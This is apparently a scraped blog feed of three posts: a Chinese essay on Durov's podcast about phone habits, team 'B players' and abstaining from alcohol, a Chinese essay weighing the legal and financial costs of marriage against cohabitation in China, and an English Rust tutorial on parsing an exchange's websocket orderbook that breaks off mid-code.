博文封面图于 2026 年拍摄于蜈支洲岛。设备:ILCE-7M3 + ƒ/8 1/400 200mm ISO100
本文原写就于 2025 年 11 月,由于诸多原因并未将其发表,最近整理自己博客草稿时发现了这篇未完成的文章,便继续完善了一下并发布
前段时间好友发给我一个 Durov 的 Podcast: https://www.youtube.com/watch?v=qjPH9njnaVU ,视频总共有 4 小时长,最近断断续续在吃饭的时间和睡觉前的时间把部分视频和全部 Transcript 部分看完了,结合一些自己最近的一些观察和想法有此摘抄和随笔。
本文在某种意义上也是前一篇博文「大量的上下文切换拉爆我们的专注能力——「自控力」读书随想」 的一点衍生。
If you open your phone first thing in the morning, what you end up being is a creature that is told what to think about for the rest of the day.
This is pretty obvious and it’s not a secret, but because we are bombarded with all kinds of information, that is not really important for us in terms of becoming successful, we often forget the important things, and this is one of them.
很多人起床之后第一件事情就是摸起手机打开各种聊天软件/App/邮件客户端开始阅读邮件,心中焦急地希望「与这个世界同步」,以至于在醒来后到开始工作之间的各种碎片时间(电梯内,地铁上等)大脑中都会充斥着大量的碎片化信息,而无法产生一个深度且线性的思考用来处理任何需要仔细思索的问题,提前消耗了大量的专注能量(Quota)。
或许有部分人必须需要在这个时候处理消息(工作邮件,行程安排,滴滴接单等),但是似乎绝大部分人其实并不需要(仔细想想你每天早上看的新闻/群消息真的对你产生了什么积极价值了么?)。
Steve Jobs talked about A players and B players, and there’s something that happens when you have B players, which is like the folks you’re talking about. Introduced into a team, they can somehow slow everybody down. They demotivate everybody. And it’s very counterintuitive that you basically, part of the work of creating a great team is removing the B players. It’s not just hiring more, generally speaking. It’s finding the “A players” and removing the people that are slowing things down.
这一段是 Lex Fridman 说的,表达了两个含义:
在「人月神话」一书中对于第二点的理解更多的是在于「更多的人意味着更多的协调时间」,以及「所有人都会有更多的损耗在沟通上」
但这里还引申的一个含义是——在沟通以外的情况下不合适的人会在整体气氛上进一步降低团队氛围和状态,下文 Durov 的补充进一步阐释了这一点
Oh, yes, because the other thing that people don’t realize is how demotivating working with a B player is. Everybody can tell if the other person, the other engineer they’re working with is really competent. And it’s very visible if the person is not comfortable. They’re asking the wrong questions, they keep lagging behind.
And at a certain point, if you’re an A player, you get this dissatisfaction, this feeling that you are not able to realize your full potential, accomplish what you’re really meant to accomplish because of this person working next to you or pretending to work next to you.
这一段加粗部分是我感触最深的部分,不确定这一点是我的个人缺陷还是如何,在 2017 年有类似项目开发的时候就有遇到类似的情况(可参考「我和 YunLoad 的故事——YunLoad 开发上线 5 个月以来的所见所闻所想」) 一文中的「YunLoad Story」章节,直到最近,类似的情况不减反增。
以当时的 YunLoad 为例,从管理者的角度来看显然有我未能成功调动团队积极性,同时也未能合理根据大家的兴趣和能力分配工作和整体规划的问题。
而从个人技能方面的角度来看,这样的事情似乎也在不断提醒我自己的技术栈过于狭窄以至于无法独立完成一个相对复杂的任务,以至于只能将本来可以自己完成的部分寄托于他人。
我并不自认为是一个聪明的人,甚至感觉自己没有同龄人聪明,只有付出更多的努力才能达到接近均线的水平,由此,在当下自我感觉我的时间和专注度是我最珍贵的资源,我在努力尝试用这非常有限的时间换来更多的智慧,在无法接受自己“三心二意”工作/生活的同时也因为看到身边其他人的类似行为而心生厌恶。
试想一个场景,在和合作伙伴一起工作的时候在双方约定的工作时间发现对方一会儿看一会 Twitter,一会看一会淘宝,然后再回来写几行代码,然后突然打开 Bilibili 开始看视频了是一种什么心里体验?
再加上当你过问对方进度时对方及其不耐烦让你不要催的时候。
会不会同样感觉厌恶感到达了巅峰,并开始怀疑为什么一开始会和这么个人合作?然后逐渐失去自己对于正在工作的项目的兴趣和信心,因为身边的合作伙伴是这样的人。
不断积累的厌恶有害身心健康,进一步破坏自己的心态,在这种情况下,以下的这段话从另一个角度缓解了我的厌恶感:
And by the way, in some cases, it’s not because the person is lazy. In some cases it’s just the mental, the intellectual ability is not there. It’s not about experience. Most often it’s about natural ability and persistence. In 90% of cases, it’s just the inability to focus on one task for an extended period of time. Not everybody has this ability.
So for people who do have this ability, it’s an insult to work alongside someone who is distracted and cannot go deep in the projects that they’re responsible for.
这让我意识到,很多时候我所观测到的这种"不专注"可能并非主观恶意,而是底层认知能力的确实,这种理解虽然不能消除协作中的痛苦,但是能让我从无谓的情绪消耗中解放出来,从而更加中立地寻找高效的协作方式和边界。
这个访谈从 No Phone 突然聊到 Durov 不喝酒时有些超出我的预期,Durov 对于不喝酒是如下解释的:
That one is quite easy. When I was 11 years old, my biochemistry teacher, he gave me this book he wrote, it was called The Illusion of Paradise, and there he would describe the biological and chemical processes that happen in your body once you consume this or that substance. It was mainly related to illegal drugs, but alcohol was one of these addictive substances that he covered.
So it turns out that when you drink alcohol, the thing that happens is that your brain cells become paralyzed. They become literally zombies. And then next day, sometime after the party is over, some of your brain cells die and never get to normal. So think about this.
If your brain is this most valuable tool you have in your journey to success and happiness, why would you destroy this tool for short-term pleasure? This sounds ridiculous.

来源: https://zh.wikipedia.org/wiki/%E4%B9%99%E9%86%87#%E5%81%A5%E5%BA%B7
我本人也是完全不饮酒,所以在这一点上想展开讲讲,我们知道乙醇的作用机制如下:
酒精在大腦中的作用主要是透過增強一種名為γ-氨基丁酸(簡稱GABA)的神經遞質的作用。[21]GABA是大腦中主要的抑制性神經遞質,由於GABA的作用受到促進後,飲者中樞神經系統的活動遭受抑制。
来源: https://zh.wikipedia.org/wiki/%E4%B9%99%E9%86%87_(%E8%97%A5%E7%89%A9)
所以从药物的角度来讲,这是一种镇定剂,好处是「會產生幸福和欣快、減少焦慮,增加社交行為、鎮靜」,坏处则是「認知、記憶、運動、和感覺系統功能會受損,以及中樞神經系統功能受到全面抑制」
从理性的角度来说,很快就有如下结论:「If your brain is this most valuable tool you have in your journey to success and happiness, why would you destroy this tool for short-term pleasure? This sounds ridiculous.」
此外,酒精的摄入似乎没有安全剂量。
2017年,《NEJM》的一项研究认为:即使饮用通常认为属于“安全”的酒,即每周饮酒14~20单位(每单位8g酒精),也与海马萎缩(该结局与认知障碍及痴呆相关)和认知功能的一项指标受损相关,因此为了使脑处于最佳健康状态,个人应该限制饮酒[10]。
饮酒习惯/文化作为一个广为流传的部分在我的身边自然也不少见,有不少好朋友都会在喝酒的时候和我说「来一杯嘛,尝尝看,喝点酒体验很不错」。
我依然非常清晰的记得大学时候一个和我关系很好的老师讨论相关话题的时候我的回答:「我感觉有必要让我的大脑在除了睡眠状态以外任何时候都是保持清醒和受我主观控制的,我不能容忍任何非必要的让我失去对我自己控制的行为,这样非常危险」
当时的观念更多的我对于自身的控制能力,直到了解到了酒精没有安全剂量的事实之后进一步强化了对于禁酒的意识,并保持至今。
以至于在许多(本可以避免参加的)宴席上我经常成为破坏氛围的那一个,经常「败了别人的兴致」,或者在被要求饮酒时一走了之…
You shouldn’t give the wrong example to the people around you and in particular to your kids, because you can do the right thing nine times out of 10, but you make a mistake once, and they will instantly copy it.
If you’re telling your kids not to use a smartphone, but you’re using a smartphone all the time yourself, and coming up with all kinds of sophisticated, brilliant explanations why they shouldn’t be using a smartphone, it won’t land. It’s bound to fail.
So you lead by example.
我们时常能看到一些关于父母不让自己的小孩沉迷手机/游戏的案例,极端一些的甚至看到一些小孩被父母送到所谓「戒网瘾中心」虐待的案例。
不过比较有意思是,更加常见的一个情况是父母不断要求自己的小孩「不要看电视了」,「把手机还过来,不要玩手机了」时,自己「忙中偷闲」开始看手机上的短视频,同时还和孩子解释「因为我是大人/家长,所以可以在 XX 的情况下 XXX」。
很显然,在这些案例下,父母才是需要被「戒网瘾」的那个,如果尝试作为榜样的人无法成为自律的榜样,那对于他人的要求显然天方夜谭,受到暴力压制的孩子并不会真正认同/服从。
科技发展的速度远超人类进化能接受的预期,从 20 年前大家还没有人均一部手机,到现在火车站内可能 70% 的人都在不断翻动着手机来打发自己廉价的空闲时间,在信息量和多样性爆炸的现在,一旦没有足够的自控力便很容易成为欲望的奴隶。从早上起床(以及晚上睡觉前)时不要刷手机,到拒绝一杯纯社交性的酒精,本质上都是在尝试夺回我们对自己身体,对自己大脑的控制权。
只有当习惯性拒绝了碎片信息,拒绝生理诱惑的“不做的自有”时,才能在那 100% 控制自己大脑的方寸之间去构造数属于自己世界的“做的自由”,真正的自由,往往包裹在极度自律的外壳之下。
]]>
博文封面图于 2025 年拍摄于镰仓海边。设备:ILCE-7M3 + 50mM f0.95, 1/500 ISO200
这是本博客 Random Thoughts Tag 下自 2019 以来的第一篇文章,作为一篇随笔,简单聊聊我眼中的婚姻观和价值观,既是对于当下我的思路的一次记录(快照),也是希望通过写作的方式对自己思路的整理,更是希望做一个简单的分享,对有类似的想法的同学一些可能的启示或者思考。
请注意:

好,我们开始!
不知不觉已经快要进入 30 岁的阶段,在这个阶段但凡身边有朋友的,几乎一定会有符合如下分类的:
且,一旦处于「λ 状态」下,几乎不可避免的会遇到一些父母关于推进结婚进程的压力,普遍的说辞是「不以结婚为目的的谈恋爱就是耍流氓」,「赶紧结婚,这样我们的目的就完成了」,「到这个年纪该结婚了,你看 xxxx」,「结了婚双方才有凝聚力,法律有保障」。
基于个人身边有接触到过大量类似的案例,也有见到一些服从了上述案例(无论是心理上服从还是只是希望减少和父母的摩擦成本而被迫服从)就不明不白结婚的人,遂有本文对于类似事件的一点随想。
回想一下之前大学时候的博文,如果是那个时候的我可能本文将充斥着对于上述父母压力和社会压力的批判,但到如今也许是年龄的增长或者接触的事物的变化,对于上述相关的冲突我个人更多的是想到了两条分支可能带来的利弊(PnL),本文将尽量从客观的角度来展开。
无论你是处于哪个状态,是否可以仔细停下来想想,当你「想要结婚」,或者其他人「想要你结婚」的时候,你的目的,或者那个「想要你结婚」的人的目的是什么?婚姻(结婚证本身以及周边相关配套,例如彩礼,婚宴等)带来的是什么?
一般而言父母对此的说法是「结了婚双方才有凝聚力,法律有保障」,除了这里想到的一点以外,另外想到的一个可能的点是:双方家庭资源交换。
总结一下,大家常常会想到的点是:
首先是凝聚力,婚姻本身如何保障了凝聚力?如果我们将凝聚力作为双方不分开(分手/离婚)的反向指标的话,结婚本身是否会减少双方分开的概率?
这一点需要仔细考量,如果是从沉默成本的角度来说,考虑到大部分人结婚会同时带上彩礼/嫁妆/婚宴等配套设施,在双方各类亲友面前进行一段较为尴尬的行为艺术表演之后确实带来了额外的沉默成本——即:「大家都看到你们在一起了,这个时候分开是怎么个事?」的心里压力,从而变相减少了分开的概率。
从这个角度来说,那确实是提升了「凝聚力」,但是这样的凝聚力带来的关系是否健康,我深表怀疑。而如果是从别的角度来说,似乎想不到结婚这个行为是如何提升了凝聚力的。
这是许多家长喜欢说的另一个点:「你们结婚了就是受到法律保护的」。
我们思考一下,法律保护了什么?由于这里的场景是中国大陆,婚姻相关我们参考「《中华人民共和国民法典》第五编 婚姻家庭」( https://www.spp.gov.cn/spp/ssmfdyflvdtpgz/202008/t20200831_478417.shtml ),来看看法律到底保护了我们什么。
首先当然「第一千零四十六条 结婚应当男女双方完全自愿,禁止任何一方对另一方加以强迫,禁止任何组织或者个人加以干涉。」,这一点似乎催婚的父母没有意识到,自己的行为(干涉或者强迫)可能是违反法律的。
当然,你接受/妥协了那就是你自己的问题了。

对于财产上,法律能保障的点有如下:
上面的法律定义了遗产,财产的分割和保障,需要注意:共同财产制主要是保护收入更少的弱势方。
这一点保证了:「如果你怀疑你的孩子不是你的孩子」(似乎只有可能是父,而不是母)的情况下你可以要求确认,但可能仅限于此了,可能起诉会赔钱,但是赔的不多。
我们来看一个案例:(2018)渝0103民初69号
来源: https://zk.faxin.cn/alyz/content.html?gid=C1383675 , https://zhuanlan.zhihu.com/p/548461262
李某与蒋某于2007年4月26日登记结婚,蒋某于2011年12月3日生育一女李大某,于2016年10月1日生育一子李小某。在共同生活中,双方因性格及李某长期在国外工作等问题产生矛盾,导致夫妻感情受到影响。蒋某曾于2017年6月起诉要求与李某离婚,因其未举示证据证明双方感情确已破裂且李某不同意离婚,法院判决驳回了蒋某的诉讼请求。
李某与蒋某结婚后生育一女李大某、一子李小某,在无相反证据证明的情况下,应当推定二子女均为两人的婚生子女。但是庭审中根据李某提供的医学资料,李某的血型为O型,蒋某的血型为A型,李小某的血型为B型,依据遗传学关于血型遗传规律的理论,李某与蒋某结合生育子女的血型不可能为B型,因此,李小某与李某不存在亲子关系有高度可能性,在蒋某未提供其他证据予以反驳,又不同意进行亲子鉴定的情况下,可以据此推定李小某与李某不存在亲子关系,这种推定是建立在高度可能性前提下的推定,而且是在法院向蒋某释明拒绝亲子关系鉴定的后果之后的推定,蒋某在明知相应后果的情况下仍然拒绝亲子关系鉴定,应当自行承担不利的法律后果。
裁判结果:支付精神损害抚慰金5万元。
同样还有关于冷静期的说法,例如「第一千零七十七条 自婚姻登记机关收到离婚登记申请之日起三十日内,任何一方不愿意离婚的,可以向婚姻登记机关撤回离婚登记申请。」
冷静期以及新婚姻法在知乎上其实有很多段子了,有兴趣的读者可以自行搜索。
这一点可能是最为实际的一个作用,通过在婚宴等形式上的联系,活动(例如邀请各自利益相关的同事/长辈),在双方家庭有潜在合作背景的情况下可以促成一些资源的交换和人脉的扩展。
前提是:提前可以确认有这样的潜在机会。
说到婚宴,想必参加过的同学(无论是否是主角)应该有面临过 4 点钟起床,5 点钟化妆,吃饭,拍照,婚车等场景,一般到了下午新人双方已经累的动不了了并表示只希望今天能早点过去。
在传统叙事中,婚礼被视为幸福的庆典;但在资源配置的视角下,它是一次高强度的资本与精力透支,我们从经济和面子两个角度进行论述。
在当前的婚庆市场中,服务定价存在显著的“价格歧视”。同样的餐饮标准、场地租赁或摄影服务,一旦冠以“婚宴”之名,其溢价率通常在30%至150%之间。这种“婚礼工业复合体”利用了文化规范中的“不可重复性”心理(即“一辈子只有一次”),迫使理性消费者在这一特定消费场景中放弃价格敏感度。

以上照片来自去年参加过一个的上海好友的婚礼时。
更为关键的是,对于已经共同生活多年的伴侣而言,婚礼的边际效益极低。
对于新结识就结婚的情侣:婚礼具有“公示效应”,向社会网络宣告两人的结合,有助于建立新的社会资本。
对于长期同居伴侣:两人的社会网络(朋友、同事)往往已经重叠或早已知晓其关系。此时举办婚礼,其“信息传递”价值几乎为零,主要功能退化为满足双方父母的社交展示需求(即收回过去送出的礼金,或展示家族联姻的实力)。
这意味着,这对伴侣需要投入约 200-300 个工时的筹备精力(精力磨损),以及数十万元的现金流(费用磨损),来购买一个主要服务于上一代人的社交产品。这种资源错配往往导致伴侣双方在筹备时发生冲突。
由于是「服务上一代人」,所以父母一代通常将婚礼视为其“完成父母责任”的终极仪式。如果伴侣坚持不办婚礼或简办,可能会被父母解读为“对自己不尊重”或“关系见不得光”。这种情感勒索构成了巨大的心理损耗,使得许多伴侣为了维持家庭和平而被迫妥协,进而产生深层的无力感和对婚姻制度的厌恶。
此外,婚宴/婚礼本身也是一个充满了主观色彩的活动,任何的激素变动(Hint🤓)或者环境变化都可以将同一个类型的婚礼描述成——很浪漫,一般或者糟透了。
说完了婚宴我们来说说彩礼,在「λ 状态」下双方的财务往来基于自愿与互助,遵循“礼物经济”逻辑,而一旦进入彩礼谈判的流程,关系很容易被拉入“交易经济”逻辑。
即使金额不高,双方父母的介入也会迫使伴侣站在各自原生家庭的立场上进行博弈。这种博弈会将原本模糊的、基于情感的边界清晰化、对立化,从而由于外部力量的强行介入,破坏原本有机的内部平衡。
这样来看如果仅从仪式感角度考量,维持「λ 状态」能完全规避掉这种巨大的初期沉没成本。除非婚姻证书能带来后续巨大的经济或法律收益,否则单纯为了“给个交代”而结婚,在经济学上是极度不理性的。
注意:这里可能是「滑坡谬误」,即假设某件事发生,则一系列不可控的、不必要的连锁事件肯定会发生,而没有足够的证据支持这种因果链。
结婚证在代际博弈中,不仅仅是一张纸,更是一份“授权书”。
在中国传统的家庭伦理中,婚姻从来不是两个人的私事,而是家族延续的制度化开端。
在「λ 状态」下,伴侣双方在面对父母催生时,拥有一个强大的逻辑盾牌——“我们还没定下来”、“名不正言不顺”。父母虽然焦虑,但在文化脚本中缺乏强行要求“非婚生子”的底气。这种状态下,伴侣双方处于“准成年”状态,享有一定的由不确定性带来的自由。
而一旦结婚,婚后的防线崩塌:结婚证的签署,标志着这对伴侣正式进入了“成年育龄”的社会角色。父母的逻辑瞬间切换为:“证都领了,生孩子是天经地义的下一步”。此时,不生孩子不再是“时机问题”,而被解读为“生理问题”或“态度问题”。
婚后,双方父母(特别是公婆)会认为自己拥有了介入小家庭生活的合法性。这种介入往往以“备孕”为切入点,包括送补品、询问生理周期、甚至搬来同住“照顾生活”,例如如下知乎问题:

「去年在双方家人及他的催促下领取结婚证」,「以及父母劝说,领取结婚证是对女生在男女关系中权益的保障,再加上对方父母意欲早点开始装修新房,并且口头上承诺以后不干预我们的生活」,「他父母亲一听到三十左右生小孩,立马气急,对我说“结婚就是为了生孩子,你不生孩子结婚干嘛?」
许多父母会将子女的生育进度与其社交圈(老同事、亲戚)进行对比。在“三孩政策”的宏观宣传背景下 ,这种微观层面的 Peer Pressure 会被放大,转化为对子女的高频骚扰。
或许可以得出一个结论:如果伴侣双方目前没有坚定的生育意愿,或者希望按照自己的节奏生活,维持同居状态是维持家庭边界的最有效物理手段。结婚会撤销这道防线,让双方直接暴露在两个家族的生育意志之下。
当然,客观地讲,如果双方有坚定的生育计划,目前的行政体系(尤其是学区房入学顺位、生育保险报销流程)对婚姻状态依然有明显的路径依赖。在这种情况下,领证可能是一种为了孩子而进行的‘行政妥协’,但这属于为了特定功能而购买服务,与感情无关。
人活在这个世上,还是要恰饭的嘛。
「λ 状态」和已婚状态最大的变化直接影响给到了女性,尽管《妇女权益保障法》及2024年的新规明确禁止询问婚育状况,但调查显示,仍有62.5%的女性在求职中被问及此类问题 。虽然这一比例较往年有所下降,但企业的筛选逻辑并未改变,只是变得更加隐蔽。
「职场女性求职被问婚育比例升至 62.5%」
智联研究院:2025中国女性职场现状调查报告 https://www.sohu.com/a/873573883_121654159
从 HR 的角度来讲:在企业的人力资源成本核算中,一名已婚未育的女性员工被视为携带了“看涨期权”的高风险资产。企业预期她极大概率会在入职后的1-2年内行使休产假的权利(通常为98天基础产假+各地奖励假,如广东80天,共计178天)。
这不仅意味着半年的劳动力缺失,还涉及社保公积金的持续缴纳、替代性劳动力的招聘成本以及返岗后的适应期。
而且你还不能开除她。
这样便创造了另一个对立,一边我们能在小红书上看到许多人进了公司之后许愿或者报喜「自己的宝宝真争气,刚好在 xx (公司裁员期间)时候怀上了」,一边是许多公司 HR (代表公司意志)对于已婚未育女性的职场歧视。
996 的工作制在中国大陆尚未被重视,对于这类暗中的职场歧视的制裁更是无从谈起。
虽然,其实这是一个「生育收益全社会共享,但是财务成本全丢给企业」的被企业视为一种无法对冲的系统性风险,目前的政策也仅仅通过“下达行政命令”(如延长产假、强制不准辞退)来保护女性,但这本质上是慷企业之慨,政策开出了方子,却让企业去药店付钱。
每每想到这个话题就很想对于催婚的父母一辈说:所谓爱女儿并催着赶紧嫁出去,女儿听从了导致职场上的被歧视导致自己事业断层,这里产生的直接精神损失和间接经济损失应该由谁来承担呢?父母么?
有许多单位(包括但不限于金融,某些互联网公司,传统企业,医院等)实行亲属回避,若双方职业生涯道路接近在同一行业(如都在某头部互联网公司或某国有银行体系)工作,且发展前景良好,此时已婚的状态会直接被要求申报,带来的后果:
某些极端情况下如果一方在甲方,另一方在乙方的关键供应商处任职,也会触发回避条款,导致其中一方必须辞职。
身边有好朋友的朋友就遇到过类似的情况(这个朋友真不是我),在遇到类似和其父母分享时得来的反馈是「这公司不行啊,换个公司吧,别耽误了结婚的大事」。也有听到另外的好朋友分享的案例是夫妻双方直接办理离婚,然后等另一方成功加入了之后再重新结婚(上海浦西某三甲医院)。
莫名其妙的磨损就砸到了自己头上。当然,在这种情况发生时,催/劝你结婚的人可能巧妙的不见了。
在中国的环境下,房子是婚姻中最大的资产,也容易是最大的矛盾爆发点。
从住所的角度来考虑,买房的行为是一个纯粹的商业行为(如果联名买房,那是按出资比例持有份额,类似 LLP 有限责任合伙),但是一旦涉及到婚姻的接入,房产通过“加名”、“还贷”、“增值部分”、“出资装修”会将事情变得极其复杂。
且,「λ 状态」下房产证是很清晰的产权证明,而如果买房的事件放到了婚姻中,房产证是一张模糊的期权兑换券,最终解释权归离婚律师和法官所有。
看过各类案件的你应该知道我在说什么
不过这个时候有人就会说了,夫妻双方如果合并用来买房的话可以合并双方的公积金获得两倍的贷款额度,例如上海公积金+补充公积金单人贷款限额是 80 万,结婚后可以获得 160 万低利率公积金贷款额度,省下了一笔钱。
我们来计算一下,假设夫妻双方需要购买一套价值 600 万的外环外“刚需房”的话,情况会是如何的,调研的时间是 2026 年 1 月,此时首套房公积金贷款利息为 2.6%(5 年以上),商业贷款利息为 3.05% (5 年以上)。
5 年内能还清的应该普遍不需要贷款吧?
| 维度 | λ 状态 | 婚后状态(双人申请) | 差额 |
|---|---|---|---|
| 公积金贷款额度 | 80 万(含补充) | 160 万(含补充) | + 80 万 |
| 商贷金额 | 340 万 | 260 万 | - 80 万 |
| 月供总计 | 17,629 元 | 17,437 元 | - 192 元 |
| 30 年总利息 | 2,146,476 元 | 2,077,457 元 | - 69,019 元 |
注:数据基于 2026 年 1 月上海市公积金及商贷利率模型测算,模型由 Gemini 3 Pro 辅助构建
这样对比下来节约的钱为 69019 元,如果引入 NPV(净现值) 的概念并把折现率设定在 2.5%(保守估计的长期通胀/理财收益率)的话,那这么个月节省的 192 元大约 NPV 为 4.85 万元。
这样我们会发现一个令人沮丧的真相:在 2026 年的上海,一张结婚证在 600 万资产面前带来的金融溢价,仅仅相当于 4.8 万元的现值。
在金融上,锁定时间越长、风险越高的资产,要求的折现率就必须越高。(毕竟利息等于对资金持有人延迟使用资金(即“时间”)的补偿)如果按私募股权或创业投资的逻辑,面对婚姻这种‘退出机制极度不友好’的项目,折现率起码应该定在 8% 以上。
而如果按 8% 计算,这每月 192 元的利息节省,其 NPV 甚至不足 2 万元——如果你觉得你未来 30 年的自由、职业前景和家庭宁静加起来的主要动机只是为了薅这 2 万块的话,emmmm…
我们经常有听到一句话,叫做「一辈子在办签证的中国人」,婚姻在签证部分有明显的加成效果。
无论是美国的 H4/F2,还是欧洲各国的家庭团聚签,婚姻是解锁“随行居住权”最快、最合法的途径。而在「λ 状态」下如果一方要出国工作,另一方通常只能通过申请学签或找工作来硬闯,门槛和难度都显著提升。
在大多数国家的绿卡申请中,配偶身份往往能享受更短的等待期或额外的配偶加分。对于许多由于排期(如中国申请者)而无法拿到身份的人来说,与已持证/外籍人士结婚几乎是唯一的“超车”手段。
对于旅游签证而言也有明显增益。签证官的核心博弈点只有两个:“你是否有足够的财力支付旅费” 以及 “你是否有足够的动力按时回国”。
在移民官眼中,婚姻状态不仅是一张纸,它更像是一份“人身质押契约”,如果你是“领证”状态,且配偶留在国内,这在行政逻辑上被视为你具有极强的“回国动机”。
当然,「超额收益也带来了超额风险」,许多国家的配偶签(如早期的 H4)是不允许合法工作的。这意味着你在法律层面被迫成为了伴侣的“附属品”,你的职业生涯会因为这一张签证而出现数年的断层,经济独立权被剥夺。
且你的合法身份完全取决于这段关系的存续。一旦发生婚变或家暴,受害方往往因为担心“离婚即遣返”而被迫忍气吞声。这种“身份要挟”可能是婚姻制度在签证语境下最黑暗的一面。
上面说了那么多婚姻带来的弊端,我们也来看看婚姻带来的一些好处,例如医疗签字权和遗产。
首先是医疗,根据「医疗机构管理条例」( https://www.nhc.gov.cn/fzs/c100048/202303/79ba042296184726bd100d6fecea177c.shtml ),第三十二条:
第三十二条 医务人员在诊疗活动中应当向患者说明病情和医疗措施。需要实施手术、特殊检查、特殊治疗的,医务人员应当及时向患者具体说明医疗风险、替代医疗方案等情况,并取得其明确同意;不能或者不宜向患者说明的,应当向患者的近亲属说明,并取得其明确同意。因抢救生命垂危的患者等紧急情况,不能取得患者或者其近亲属意见的,经医疗机构负责人或者授权的负责人批准,可以立即实施相应的医疗措施。
简单来说:医院不会眼睁睁看你死,但可能会让你“多等一会儿”,当你生命体征暂时稳定,但需要进行具有伤残风险、高后遗症风险的重大手术时,法律逻辑就变了。这时候,医生必须寻求“知情同意”,而这个时候「知情同意」几乎必须得是近亲属。
虽然这个 Bug 可能可以通过已经公证的「意定监护书」来绕过,但是对比直接的婚姻关系而言,走意定监护的路径引入了额外的沟通磨损。
关于遗产方面,首先我们都知道人终有一死,可能是死于跳伞,可能是死于骑行新国飙,也有可能死于各类稀奇古怪的交通事故。
《民法典》第1061条规定夫妻有相互继承遗产的权利,表明夫妻之间彼此为法定继承人,有权通过法定继承或者遗嘱继承的方式继承对方的遗产,此时如果在没有婚姻绑定或者公证后的遗嘱的情况下,例如房产(哪怕是共同出资但只写了一人名字)和资产
什么?你说你有数字货币?私钥没给伴侣的话那没了
会全部由其父母继承,另一方可能面临“人财两空”甚至被扫地出门的风险。
上述两个问题有一定的缓解方式(「意定监护书」和「遗嘱」)来防止自己或者伴侣被清算(真正的 Liquidation),但是对比婚姻关系带来的法律执行力而言,还是有所差异,需要额外注意。
回到文章标题的那个问题:法律上当路人,生活中当爱人,契约上当合伙人,是亲密关系的最优解吗?
在父辈的年代,由于个体生存能力的匮乏,购买这个“全家桶”是生存的刚需。但在个体原子化、女性经济独立且社会分工极度细化的今天,我们是否有必要为了其中某一项功能(比如签证,或者那微薄的房贷利差),而去背负整个大礼包中潜在的巨大负债(如无限连带责任和代际摩擦)?
传统观念我们一般认为,由于有高昂的退出成本(由于婚姻关系带来的:法律程序,财产分割,婚宴等时候的公开露面)构建了婚姻的安全感。但是从博弈的视角下,当一个人是因为「离婚太麻烦」或者「沉没成本」太大而不得不留在一段关系中时,这段关系是否已经从「合作」变成了「绑架」,从我个人的经历来看,身边有见过不少类似的案例,甚至有见到个人感觉已经算是「绑架」的场景下发展出了斯德哥尔摩综合征的表现,每每想起让我倍感无奈和惋惜。
上文中的「λ 状态」,本质上是对于亲密关系的一次解耦,个人感觉这个状态迷人之处在于:它通过降低退出的门槛,反向验证了在一起的纯度,没有退出门槛的留存,或许才是最真实的留存。
因为没有那个法律证件的捆绑,也没有法律赋予的无限责任,甚至没有那可能不到 5 万元的 NPV 的诱惑,每一天的相处都像是一个个 24hr 有效期的独立契约。
这当然是一条更难的路。因为它要求你有更强的抗风险能力、更清晰的边界意识,以及直面世俗偏见的勇气。
如果明天醒来,我依然选择和你在一起,不是因为法律规定我不能走,也不是因为走了会损失一半财产,仅仅是因为——我依然想和你在一起。
以上。
]]>The target exchange for this practice is Lighter. After establishing a Websocket connection, you can start subscribing by sending the following message:
{
"type": "subscribe",
"channel": "order_book/{MARKET_INDEX}"
}
A selection of the data obtained is as follows. After a successful subscription, you will first receive a full Orderbook snapshot. It has been trimmed here; in reality, the asks and bids in the first snapshot data subscribed/order_book both have over 2500 entries.
{
"channel": "order_book:1",
"offset": 12837513,
"order_book": {
"code": 0,
"asks": [
{
"price": "87194.4",
"size": "1.03736"
},
{
"price": "87194.5",
"size": "0.02980"
}
],
"bids": [
{
"price": "87194.0",
"size": "0.00020"
},
{
"price": "87191.6",
"size": "0.03676"
}
],
"offset": 12837513,
"nonce": 3901590619
},
"timestamp": 1766059985139,
"type": "subscribed/order_book"
}
The structure of subsequent update/order_book data is similar to this:
{
"channel": "order_book:1",
"offset": 12837556,
"order_book": {
"code": 0,
"asks": [
{
"price": "87208.2",
"size": "0.00000"
}
],
"bids": [
{
"price": "87173.2",
"size": "0.01389"
}
],
"offset": 12837556,
"nonce": 3901590736
},
"timestamp": 1766059985417,
"type": "update/order_book"
}
It is not hard to understand that the first push provides a full snapshot of the orderbook, and subsequent pushes provide incremental data. If size is “0.00000”, it means deleting the corresponding data from the orderbook. Additionally, one must strictly judge based on the auto-incrementing offset; if any single piece of data is missed, you must disconnect and restart from the snapshot.
All the following codes are run using: cargo run, not cargo run --release.
As a novice, the more intuitive idea is definitely—let me just get it running first!
The schematic diagram is as follows (Gemini drawing):
+-----------------------------------------------------------------------+
| 🧠 Core Idea: "Intuitive Mapping" (Intuitive) |
| "Whatever the JSON looks like, I'll define that Struct and save it!" |
+-----------------------------------------------------------------------+
|
| 1. JSON Input (Incoming Data)
V
+--------------------------+
| JSON Object |
| { |
| "type": "...", | serde automatic deserialization
| "bids": [...], | ========================>
| "asks": [...] |
| } |
+--------------------------+
|
| 2. Rust Memory Layout
V
+-------------------------------------------------------------+
| struct LighterOrderBook (Root) |
+-------------------------------------------------------------+
| - channel: Option<String> |
| - offset: Option<u64> |
| - type_: String |
| - timestamp: Option<u64> |
| |
| [!] Nested Layer |
| - order_book: Option -------------------------------------> +
+-------------------------------------------------------------+
|
+---------------------------------------------------+
|
v
+-------------------------------------------------------------+
| struct LighterOrderBookData |
+-------------------------------------------------------------+
| - code: u32 |
| |
| [!] List -> Vec |
| - asks: Vec<LighterOrderBookEntry> ---+ |
| - bids: Vec<LighterOrderBookEntry> ---|---+ |
+-------------------------------------------------------------+
| |
+-----------------------------+ |
| |
v v
+----------------------------+ +----------------------------+
| Entry (Ask) | | Entry (Bid) |
+----------------------------+ +----------------------------+
| - price: String (Heap 🐢) | | - price: String (Heap 🐢) |
| - size: String (Heap 🐢) | | - size: String (Heap 🐢) |
+----------------------------+ +----------------------------+
^ ^
| |
+--- "Since it's a List, I'll save two Lists and update locally" ---+
So the immediate brainless thought is to create a Rust Struct following the JSON structure:
Aren’t
bidsandasksjust two Lists? Then I’ll just store two Lists and update them locally, done.
#[derive(Debug, Deserialize)]
pub struct LighterOrderBookEntry {
pub price: String,
pub size: String,
}
#[derive(Debug, Deserialize)]
pub struct LighterOrderBookData {
pub code: u32,
pub asks: Vec<LighterOrderBookEntry>,
pub bids: Vec<LighterOrderBookEntry>,
}
#[derive(Debug, Deserialize)]
pub struct LighterOrderBook {
pub channel: Option<String>,
pub offset: Option<u64>,
pub order_book: Option<LighterOrderBookData>,
